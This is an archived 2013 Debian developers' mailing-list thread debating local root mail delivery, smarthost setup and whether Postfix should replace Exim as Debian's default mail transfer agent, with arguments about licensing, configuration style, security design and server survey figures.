I think forwarding root mail to a real e-mail account configured during
install (with proper warnings that it might contain sensitive data) is
the way to go.

Kind regards,
Andrei

[Thomas Goirand]

Post by Josselin Mouette
Just like for the MIME support mess, the damage is already done. Nobody,
I repeat, nobody, ever reads local mail on most desktop systems, and
even many server systems.

The question you have to ask yourself is: why?

The answer is simple: because we don't provide an easy way to have it
configured correctly by default. That is the problem to solve, and
nothing else, IMHO.

Thomas

[Bernd Zeimetz]

Post by Thomas Goirand

Post by Josselin Mouette
Just like for the MIME support mess, the damage is already done. Nobody,
I repeat, nobody, ever reads local mail on most desktop systems, and
even many server systems.

The question you have to ask yourself is: why?
The answer is simple: because we don't provide an easy way to have it
configured correctly by default. That is the problem to solve, and
nothing else, IMHO.

That would be easy to fix by having the local mailbox automatically added when a
user starts icedove or $fav_mua

[Bjørn Mork]

Post by Josselin Mouette

Post by Bjørn Mork
The local MTA serves as a common configuration for the external SMTP
server, with a well known interface supported by every single package
which wants to send mail.

Which packages are entitled to send mail to the outside without
configuration from the sysadmin, exactly?

All packages are installed and configured by the sysadmin. So that
would be none.

But there should be exactly one package asking the sysadmin about smtp
smarthost settings. The other mail sending packages should just depend
on that package and reuse the settings already configured.

Post by Josselin Mouette
We are talking about a default configuration, and the only useful thing
in a default configuration is local mail.

I disagree. The only useful default configuration is a default-mta
package asking how to deliver both local and remote mail, and holding
the sysadmin's hand while setting up delivery to a smarthost. Possibly
mapping local accounts to a single remote address.

Post by Josselin Mouette
Local mail not being read by anyone on most machines.

This we can agree on :)

Post by Josselin Mouette

Post by Bjørn Mork
I don't see the point discussing this at all until there is an
alternative interface with a similar level of support. Otherwise you
are just going to repeat the MIME support mess again.

Just like for the MIME support mess, the damage is already done. Nobody,
I repeat, nobody, ever reads local mail on most desktop systems, and
even many server systems. For desktops, we need to rely on direct user
notification. For servers, careful people rely on real-time monitoring.
Local mail is a quick solution for persistent notification of the system
administrator, but it doesn’t scale at all when you have more than 3
machines under your control.
I don’t think the situation is that bad. We could probably work on
alternative notification systems for cron jobs, but for the other
important use cases of local mail, we already have what we need.

Sure. Yes, I agree that local mail isn't necessarily the answer to any
notification requirement. But I don't think that means that it never is
the answer. There are situations where local mail notification is
fine.


Bjørn

[Russ Allbery]

Post by Bjørn Mork
The local MTA serves as a common configuration for the external SMTP
server, with a well known interface supported by every single package
which wants to send mail.

And which requires storing passwords or other authentication credentials
on disk if your external SMTP server requires authentication (increasingly
common), which is bad security practice (not to mention awkward for a lot
of people to configure). Whereas using an external MTA directly in the
mail client means the mail client has the ability to prompt you
interactively for authentication credentials or use the system keyring to
store them, which is somewhat more secure.

[Bjørn Mork]

Post by Russ Allbery

Post by Bjørn Mork
The local MTA serves as a common configuration for the external SMTP
server, with a well known interface supported by every single package
which wants to send mail.

And which requires storing passwords or other authentication credentials
on disk if your external SMTP server requires authentication (increasingly
common), which is bad security practice (not to mention awkward for a lot
of people to configure). Whereas using an external MTA directly in the
mail client means the mail client has the ability to prompt you
interactively for authentication credentials or use the system keyring to
store them, which is somewhat more secure.

Yes, this is a problem common to any system wide authenticated service,
like for example a bluetooth keyboard or a PPP network connection. I
still don't think it makes any sense delegating the configuration to
packages needing those services. The keyboard and the network
connection are system services, even if they need credentials stored in
the file system.

IMHO, the same goes for SMTP. There may not be as many packages needing
it as those needing a keyboard. But I'm guessing that there still are a
handful SMTP clients installed on an average single user desktop system.
And it does not make sense to have each and every one of those packages
configure external SMTP access independently.


Bjørn

[Andreas Metzler]

Post by Marco d'Itri
Now that we are done with systemd for the time being, can we have the
flame war about replacing Exim with Postfix as the default MTA?

[...]

I do not think we need another flame-war. Thank you very much.
cu Andreas

[Chris Knadle]

Post by Marco d'Itri
Now that we are done with systemd for the time being, can we have the
flame war about replacing Exim with Postfix as the default MTA?
Are there any objections other than "but I like it this way!"?

What are the reasons to make the switch? (I think it's more important to hear
the "pro" reasoning than the "con" reasoning.)



But to answer your question: my "objections" to Postfix over Exim,
off-the-top-of-my-head:

- Exim is more popular

http://www.securityspace.com/s_survey/data/man.201201/mxsurvey.html

- Exim has a GPL license, which is preferable IMHO.

Postfix uses the "IBM Public License" which places any liability on
the distributor of the software, and has some other unfortunate
clauses and is GPL incompatible.

https://en.wikipedia.org/wiki/IBM_Public_License

- Exim configuration is more human readable than Postifx's, IMHO.

Postfix configuration is concise but terse, and there are typically
blocks of options separated by commas that doesn't easily allow
commenting on specific config options.

- Exim logging is cleaner than Postfix's, IMHO. Postfix seems to
"redeliver mail to itself" repeatedly which makes it more difficult
to grep the logs for a complete transaction.


-- Chris

--
Chris Knadle
***@coredump.us
GPG Key: 4096R/0x1E759A726A9FDD74

[Bernhard R. Link]

Post by Chris Knadle
- Exim configuration is more human readable than Postifx's, IMHO.
Postfix configuration is concise but terse, and there are typically
blocks of options separated by commas that doesn't easily allow
commenting on specific config options.

Configurability is an important point. Having had to use postfix lately
I'm quite suprised anyone voluntarily uses that thing. Postfix feels
like some ad-hoc configuration gone absurd, by only making special use
cases configuable and then misusing those options for other things.
Together with this splitting in many little programs which all lack most
of the information, configuring postfix is a large puzzle and any
advanced postfix configuration (even from the official documentation)
looks like McGyver was out of duct-tape but had to build a nuclear reactor
from kitchen parts with only the transparent tape for office use.

The only positive thing you can say about Postfix' configuration is that
it might be better than sendmail's.

Bernhard R. Link

[Marc Haber]

On Thu, 30 May 2013 11:11:06 +0200, "Bernhard R. Link"

Post by Bernhard R. Link

Post by Chris Knadle
- Exim configuration is more human readable than Postifx's, IMHO.
Postfix configuration is concise but terse, and there are typically
blocks of options separated by commas that doesn't easily allow
commenting on specific config options.

Configurability is an important point. Having had to use postfix lately
I'm quite suprised anyone voluntarily uses that thing. Postfix feels
like some ad-hoc configuration gone absurd, by only making special use
cases configuable and then misusing those options for other things.
Together with this splitting in many little programs which all lack most
of the information, configuring postfix is a large puzzle and any
advanced postfix configuration (even from the official documentation)
looks like McGyver was out of duct-tape but had to build a nuclear reactor
from kitchen parts with only the transparent tape for office use.

While I don't consider postfix as bad as you describe, I tend to
describe Postfix as the menu in a better restaurant: A relatively
small number of sophisticated dishes which you can choose from, and if
you like them, you will be perfectly satisfied. If you want fries
instead of plain potatoes, you're basically hosed.

Exim, on the other hand, is the fully equipped kitchen with a full
larder and fridge, allowing you to cook exactly what you want, if
you're willing to learn cooking or already bring some cooking
knowledge. This approach might lead to something uneatable, though.

Both solutions have their advantages and disadvantages. People should
be able to choose.

For the default case of an user not knowing what an MTA is, both exim
and postfix are suitable to be the default in Debian. Exim's design is
a bit 1990ies, with a big suid root binary, while Postfix's design is
more modern regarding process structure and privilege separation.

Being biased myself, I'd say not to change a running system and to
keep exim as default. It would be nice to debconfize SMTP auth in the
"exim is the client" case though, as this is a quite common use case.
With my maintainer hat on, Patches are appreciated.

Greetings
Marc

[Bernhard R. Link]

Post by Marc Haber
While I don't consider postfix as bad as you describe, I tend to
describe Postfix as the menu in a better restaurant: A relatively
small number of sophisticated dishes which you can choose from, and
if you like them, you will be perfectly satisfied. If you want fries
instead of plain potatoes, you're basically hosed.

It's not that bad. Even the postfix kitchen can make fries. The tricky
part is having one person served potatoes while the other person asks
for fries, because the person putting those on the dish is not allowed
to look at the order so they cannot determine from the drink whom they
are making the food for. You need to employ two of them, one doing
potatoes and the other one fries, but the waiter is not allowed to
chose which kitchen the order is sent to, so you have to tell the waitor
to write the order in a language the kitchen clerk cannot read, so the
kitchen clerk will pass it to the person responsible for reading
obliterated orders and this person you can tell it either give the order
to the kitchen doing potatoes or the kitchen doing fries depending on
what is wanted.

Bernhard R. Link

[Chris Knadle]

Post by Bernhard R. Link

Post by Chris Knadle
- Exim configuration is more human readable than Postifx's, IMHO.
Postfix configuration is concise but terse, and there are typically
blocks of options separated by commas that doesn't easily allow
commenting on specific config options.

Configurability is an important point. Having had to use postfix lately
I'm quite suprised anyone voluntarily uses that thing. Postfix feels
like some ad-hoc configuration gone absurd, by only making special use
cases configuable and then misusing those options for other things.

There's a reason it feels like this. Postfix was designed with security in
mind, but wasn't focused on being a general purpose MTA. It happens to /work/
pretty well in that role in many cases, though.

http://shearer.org/MTA_Comparison#Postfix

Exim is exactly the opposite: its design was focused on being a general
purpose MTA, but wasn't focused on security. Yet this doesn't mean that Exim
is insecure.

http://shearer.org/MTA_Comparison#Exim

Post by Bernhard R. Link
Together with this splitting in many little programs which all lack most
of the information, configuring postfix is a large puzzle and any
advanced postfix configuration (even from the official documentation)
looks like McGyver was out of duct-tape but had to build a nuclear reactor
from kitchen parts with only the transparent tape for office use.

This feels like a fitting description. [Postfix's master.cf file is what I
find the most confusing.]

Post by Bernhard R. Link
The only positive thing you can say about Postfix' configuration is that
it might be better than sendmail's.

Sendmail's configuration is so unreadable that nobody [in their right mind]
configures it in the native format and instead does it with m4 scripts.
However with m4 scripts I think Sendmail configuration might actually be less
confusing than Postfix's.

-- Chris

--
Chris Knadle
***@coredump.us
GPG Key: 4096R/0x1E759A726A9FDD74

[Christoph Anton Mitterer]

Post by Chris Knadle
There's a reason it feels like this. Postfix was designed with security in
mind, but wasn't focused on being a general purpose MTA. It happens to /work/
pretty well in that role in many cases, though.
http://shearer.org/MTA_Comparison#Postfix

Agreed,... but that also somehow indicates to me, that this would be the
more appropriate default MTA.
It will do quite securely what most people need, especially those end
user who have no clue about running mailservers at all.

If an expert admin is used to exim or anything else and thinks postfix
cannot satisfy his demands,... it should be a simple task for him to
switch :)


Chris.

[Marc Haber]

On Thu, 30 May 2013 16:42:28 +0200, Christoph Anton Mitterer

Post by Christoph Anton Mitterer
Agreed,... but that also somehow indicates to me, that this would be the
more appropriate default MTA.
It will do quite securely what most people need, especially those end
user who have no clue about running mailservers at all.

Exim does it the same way. This is no argument for a change.

Greetings
Marc

[Marco d'Itri]

Post by Chris Knadle
There's a reason it feels like this. Postfix was designed with security in
mind, but wasn't focused on being a general purpose MTA.

Says who? Because I was around at the time, and I remember pretty well
that the goal was to write a sendmail replacement.
And apparently it worked.

I think that ease of configurability is a major plus for Postfix when
compared to Exim, since a common configurations is just a few lines long.

[Philip Hands]

Post by Marco d'Itri

Post by Chris Knadle
There's a reason it feels like this. Postfix was designed with security in
mind, but wasn't focused on being a general purpose MTA.

Says who? Because I was around at the time, and I remember pretty well
that the goal was to write a sendmail replacement.
And apparently it worked.

Well, I'd say that at least part of the motivation was actually to write
a qmail replacement, that didn't have someone with DJB's atitute to
licensing as upstream -- it was for a long time called vmailer
(v==vapour) as coined by DJB, and adopted by Wietse because it amused
him.

Given that it was qmail inspired, which was writen with the similar
approach of having a crowd of distinct daemons perfornming one task
each, with a UID for each, I'd say that the intent was to match qmail's
security focus.

If one were simply trying to replace Sendmail, the result might well
have looked a lot more like Exim, with a monolithic executable, that
forks into the various roles required.

Post by Marco d'Itri
I think that ease of configurability is a major plus for Postfix when
compared to Exim, since a common configurations is just a few lines long.

I happen to agree with you, but it's clearly a matter of what one is
used to, and of taste.

It's also a question of what you want to do. Setting up SMTP-time
rejection based on something like Spamassasin is far easier with Exim,
for instance.

Cheers, Phil.

[Carlos Alberto Lopez Perez]

Post by Chris Knadle
- Exim is more popular
http://www.securityspace.com/s_survey/data/man.201201/mxsurvey.html

This is actually quite interesting.

Given that Postfix is the default MTA on RHEL/CentOS, SLES (SUSE) and
Ubuntu; meanwhile Exim is only the default on Debian (AFAIK).

I wonder if this means that Debian is used in more mail servers than the
rest of the distributions together.

[Stefano Zacchiroli]

Post by Carlos Alberto Lopez Perez

Post by Chris Knadle
- Exim is more popular
http://www.securityspace.com/s_survey/data/man.201201/mxsurvey.html

This is actually quite interesting.
Given that Postfix is the default MTA on RHEL/CentOS, SLES (SUSE) and
Ubuntu; meanwhile Exim is only the default on Debian (AFAIK).
I wonder if this means that Debian is used in more mail servers than the
rest of the distributions together.

Indeed it is interesting. Whereas Debian has a majority of GNU/Linux
installation for _web_ servers according to:

http://w3techs.com/technologies/details/os-linux/all/all

it's a _relative_ majority, smaller than the sum of the other distros
you've cited.

Here's an experimental way to test the assumption of Debian leadership
on the mail server market: let's switch our default to Postfix and see
if the figures change :-) </SCNR>

[Scott Kitterman]

Post by Carlos Alberto Lopez Perez

Post by Chris Knadle
- Exim is more popular
http://www.securityspace.com/s_survey/data/man.201201/mxsurvey.html

This is actually quite interesting.
Given that Postfix is the default MTA on RHEL/CentOS, SLES (SUSE) and
Ubuntu; meanwhile Exim is only the default on Debian (AFAIK).
I wonder if this means that Debian is used in more mail servers than the
rest of the distributions together.

Since ~80% of the Exim installations are for an ancient version that AFAIK
tell from a few moments of checking was never the version in a Debian release,
I don't think that's it.

Scott K

[Carlos Alberto Lopez Perez]

Post by Scott Kitterman

Post by Carlos Alberto Lopez Perez

Post by Chris Knadle
- Exim is more popular
http://www.securityspace.com/s_survey/data/man.201201/mxsurvey.html

This is actually quite interesting.
Given that Postfix is the default MTA on RHEL/CentOS, SLES (SUSE) and
Ubuntu; meanwhile Exim is only the default on Debian (AFAIK).
I wonder if this means that Debian is used in more mail servers than the
rest of the distributions together.

Since ~80% of the Exim installations are for an ancient version that AFAIK
tell from a few moments of checking was never the version in a Debian release,
I don't think that's it.
Scott K

Exim 4.69 was shipped with Debian 5.0 (Lenny)

http://archive.debian.net/lenny/exim4

[Scott Kitterman]

Post by Carlos Alberto Lopez Perez

Post by Scott Kitterman

Post by Carlos Alberto Lopez Perez

Post by Chris Knadle
- Exim is more popular
http://www.securityspace.com/s_survey/data/man.201201/mxsurvey.html

This is actually quite interesting.
Given that Postfix is the default MTA on RHEL/CentOS, SLES (SUSE) and
Ubuntu; meanwhile Exim is only the default on Debian (AFAIK).
I wonder if this means that Debian is used in more mail servers than the
rest of the distributions together.

Since ~80% of the Exim installations are for an ancient version that AFAIK
tell from a few moments of checking was never the version in a Debian
release, I don't think that's it.
Scott K

Exim 4.69 was shipped with Debian 5.0 (Lenny)
http://archive.debian.net/lenny/exim4

Thanks. I was looking at it wrong. It would, however, be a bit surprising if
1/3 of the mail servers on the internet were running Lenny at this point.

It's also worth noting that only something like half the servers that provided
a banner provided enough information to identify the software in use, so I'm
not sure how much it really tells us.

Scott K

[Wouter Verhelst]

Post by Carlos Alberto Lopez Perez

Post by Chris Knadle
- Exim is more popular
http://www.securityspace.com/s_survey/data/man.201201/mxsurvey.html

This is actually quite interesting.
Given that Postfix is the default MTA on RHEL/CentOS, SLES (SUSE) and
Ubuntu; meanwhile Exim is only the default on Debian (AFAIK).
I wonder if this means that Debian is used in more mail servers than the
rest of the distributions together.

Exim (465,731 servers)

Version Number of Servers Percent
4.69 368,005 79.02%
4.76 36,227 7.78%
4.72 20,387 4.38%
4.77 10,824 2.32%
4.67 8,297 1.78%
4.63 5,689 1.22%
Other 16,302 3.50%

4.69 was the version of exim that shipped with Lenny; squeeze shipped
with 4.72, wheezy with 4.80.

If these are indeed all Debian servers, that would mean that 79.02% of
44.23% of 45.88% of all MX servers queried by these people use a no
longer supported version of Debian.

(79.02%: all exim servers running 4.69; 44.23%: percentage of all
identifiable servers that is running exim; 45.88%: percentage of all MX
servers that is running an identifiable mail server)
--
This end should point toward the ground if you want to go to space.

If it starts pointing toward space you are having a bad problem and you
will not go to space today.

-- http://xkcd.com/1133/

[Bernd Zeimetz]

Now that we are done with systemd for the time being, can we have the flame
war about replacing Exim with Postfix as the default MTA?

Look into the archives, we had that often enough.

Are there any objections other than "but I like it this way!"?

Are there new reasons other that 'I don't like it this way' ?


- --
Bernd Zeimetz Debian GNU/Linux Developer
http://bzed.de http://www.debian.org
GPG Fingerprint: ECA1 E3F2 8E11 2432 D485 DD95 EB36 171A 6FF9 435F